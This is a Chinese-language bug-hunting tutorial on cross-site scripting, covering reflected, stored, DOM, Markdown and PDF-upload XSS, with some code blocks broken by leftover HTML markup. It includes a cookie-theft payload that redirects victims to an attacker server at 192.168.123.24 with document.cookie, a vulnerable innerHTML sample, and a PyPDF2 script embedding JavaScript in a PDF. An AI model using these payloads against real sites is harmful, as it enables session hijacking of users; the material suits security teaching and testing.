web漏洞挖掘指南 -XSS跨站腳本攻擊
一、漏洞原理
1. 跨站腳本英文全稱(Cross Site Scripting跨站腳本),為了不和css層疊樣式表(英文全稱:Cascading Style Sheets)混淆,因此將跨站腳本縮寫為XSS。產生XSS漏洞根本原因其實是web應用未對用戶的輸入進行嚴格的過濾和轉義,導致攻擊者可從正常的輸入功能注入腳本代碼,我常將xss攻擊理解為一種javascript注入,當帶有xss惡意代碼的頁面被其他用戶訪問到時,js便會被執行,js腳本可以執行很多操作,比如:竊取用戶cookie,讀取用戶鍵盤記錄,截屏,惡意跳轉等,甚至可以結合BEEF的hook.js鉤子劫持用戶瀏覽器。
二、XSS漏洞檢測
0x1
公認XSS有三種類型:反射型、存儲型、dom型。根據字面意思很好區分三者,反射型即服務器根據用戶當前輸入做出的響應,只能觸發一次,這個過程就像一次反射。因此市面上大多self-xss都來自反射型xss,攻擊者輸入xss腳本,輸出僅自己看到,僅xss到自己,常在查詢、搜索等功能出現。
0x2
存儲型xss即頁面保存了攻擊者輸入的惡意代碼,除非對應記錄被刪除,否則可以一直觸發xss,常在留言、個人信息登記等功能出現。
0x3
dom型xss比較獨特,它涉及的兩個層次不是服務器端和瀏覽器端,而是瀏覽器端的JavaScript層和HTML層。換種更好理解的說法也就是:從服務器腳本變成了客戶端腳本,dom xss的payload不需要服務端解析響應,而是靠瀏覽器的dom解析,因此dom-xss的觸發是抓不到請求包的。漏洞示例xss.html:
"tr1"> </span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer"> document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"tr1"</span>).innerHTML = unescape(location.hash);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer">

0x4
xss漏洞檢測用彈窗進行測試即可,常見的幾種彈窗方法:alert()、confirm()、prompt()、console.log()。測試時,盡量結合各種xss類型的特征對功能點進行驗證,除了大家常說的“有框即插(看見輸入框就盲插xss payload)”,還需注意請求中的各種參數,是否可以原樣輸出或者以html代碼的形式保存到了另一個頁面。
三、XSS漏洞利用
0x1
上文提到過,xss的本質其實是js代碼的注入,所以XSS漏洞的危害來源于js代碼執行,最常見的就是盜取用戶cookie,但是在實際場景中我們經常會遇到cookie設置httponly屬性導致無法通過js腳本讀取的情況,這時還可以讀取用戶鍵盤記錄,截屏,惡意跳轉等,甚至可以結合BEEF的hook.js鉤子劫持用戶瀏覽器。
0x2
以最簡單的盜取cookie的payload為例,先用python搭建web服務充當xss平臺:

0x3
然后在存有xss漏洞的位置傳入payload:
document.location=’http:<span class="code-snippet__comment" style="box-sizing: border-box;">//192.168.123.24?’+document.cookie;
0x4
上述payload先用document.cookie獲取了用戶cookie,然后利用document.location進行跳轉,這樣客戶端就會攜帶document.cookie的值訪問xss平臺,通過xss平臺的web日志即可查看對應記錄:

0x5
市面上的xss平臺其實已經編寫出很多成熟的xss利用模板了,js代碼操作不熟練的師傅可以直接套用xss平臺的模板:

Markdown XSS
0x1
Markdown 是一種輕量級標記語言,它允許人們使用純文本格式編寫文檔。通過簡單的文本方式標記就能指定格式,輕輕松松完成文檔的編輯。
markdown語言從文本-指定格式的轉換過程可以看作一系列的html轉換,最終以html標簽的形式存儲在頁面上,因此markdown編輯器也可能出現XSS漏洞。
0x2
插入超鏈接:


0x3
除了插入超鏈接,我們還可以參照常規的XSS payload進行嘗試,比如、等標簽。參考案例:
http://www.52bug.cn/hkjs/3292.htmlhttps://mp.weixin.qq.com/s/7Qa4o0sYfJei07K3mjL-GA
五、上傳PDF導致的XSS
0x1
之前在論壇上看到過有師傅通過把xss代碼加到pdf文件,然后通過正常的文件上傳功能傳至目標服務器中,利用瀏覽器自帶的pdf閱讀功能觸發xss,這類漏洞還是會有部分廠商會確認的,參考文章:
https://www.t00ls.cc/thread-48480-1-1.htmlhttps://www.t00ls.cc/articles-62790.html
pdf文件還是很少被禁止上傳的,眾測項目中可以嘗試此類測試。
0x2
利用條件:1.有pdf文件上傳點 2.保存好的pdf文件可以直接瀏覽器查看,而不是只能下載至本地。
0x3
python腳本一鍵生成帶有xss代碼的pdf文件:
from PyPDF2 import PdfFileWriter file = PdfFileWriter() file.addJS('app.alert("XSS");') output = open('xss.pdf', 'wb') file.write(output)
xss和markdown xss的fuzz字典可以點擊查看原文附件自取